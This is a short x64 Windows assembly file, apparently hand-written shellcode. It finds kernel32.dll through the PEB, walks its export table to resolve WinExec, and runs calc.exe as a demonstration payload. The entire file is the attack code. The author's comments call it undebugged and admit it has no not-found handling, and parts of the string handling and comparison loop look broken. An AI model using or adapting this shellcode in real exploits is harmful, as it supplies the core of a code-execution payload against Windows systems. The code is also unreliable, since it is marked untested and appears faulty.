[bits 64] ;; TODO: DEBUG this shiiiit (x64dbg) ; Access PEB structure xor rbx, rbx mov rbx, gs:[0x60] ; RBX = address of PEB struct mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList ; Go down the double-link list of PEB_LDR_DATA mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll) mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll) mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll) ; Get VA address of kernel32.dll mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll) mov r8, rbx ; R8 = RBX (address of kernel32.dll) ; Get VA address of ExportTable (kernel32.dll) mov ebx, [rbx+0x3c] ; RBX = IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset) add rbx, r8 ; RBX = &kernel32.dll + PeHeaders offset = &PeHeaders xor rcx, rcx add cx, 0x88 ; RCX = 0x88 (offset of ExportTable RVA) add rbx, [rbx+rcx] ; RBX = &PeHeaders + offset of ExportTable RVA = ExportTable RVA add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable mov r9, rbx ; R9 = &ExportTable ; Get VA address of ExportTable.AddressOfFunctions xor r10, r10 mov r10, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions ; Get VA address of ExportTable.AddressOfNames xor r11, r11 mov r11, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames ; Get VA address of ExportTable.AddressOfNameOrdinals xor r12, r12 mov r12, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals ; Get address of WinExec function exported from kernel32.dll xor rcx, rcx add cl, 0x7 ; RCX = function name length ("WinExec" == 7) xor rax, rax mov rax, 0x636578456E695700 ; RAX = function name = "cexEniW" (WinExec) + 0x00 push rax ; STACK + function name address (8) mov rsi, rsp ; RSI = &function_name call get_winapi_func mov r13, rax ; R13 = &WinExec ; Execute WinExec function ; ; UINT WinExec( ; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL ; ); xor rax, rax xor rcx, rcx xor rdx, rdx mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe) push ax ; STACK + null terminator (2) push rax ; STACK + command string (8) mov rcx, rsp ; RCX = LPCSTR lpCmdLine mov dl, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL) ; Why is here "sub rsp, 0x20" originally ??? call r13 ; Call WinExec(rax, rdx) get_winapi_func: ; Requirements (preserved): ; R8 = &kernel32.dll ; R10 = &AddressOfFunctions (ExportTable) ; R11 = &AddressOfNames (ExportTable) ; R12 = &AddressOfNameOrdinals (ExportTable) ; Parameters (preserved): ; RSI = (char*) function_name ; RCX = (int) length of function_name string ; Returns: ; RAX = &function ; ; IMPORTANT: This function doesn't handle "not found" case! ; Infinite loop and access violation is possible. xor rax, rax ; RAX = counter = 0 push rcx ; STACK + RCX (8) = preserve length of function_name string ; Loop through AddressOfNames array: ; array item = function name RVA (4 bytes) loop: mov rcx, [rsp] ; RCX = length of function_name string xor rdi, rdi ; RDI = 0 mov edi, [r11+rax*4] ; RDI = function name RVA add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name) je resolve_func_addr ; Jump if exported function name == param function name inc rax ; RAX = RAX + 1 jmp short loop resolve_func_addr: pop rcx ; STACK - RCX (8) = remove length of function_name string mov ax, [r12+rax*2] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2) mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4) add rax, r8 ; RAX = &function = function RVA + &kernel32.dll ret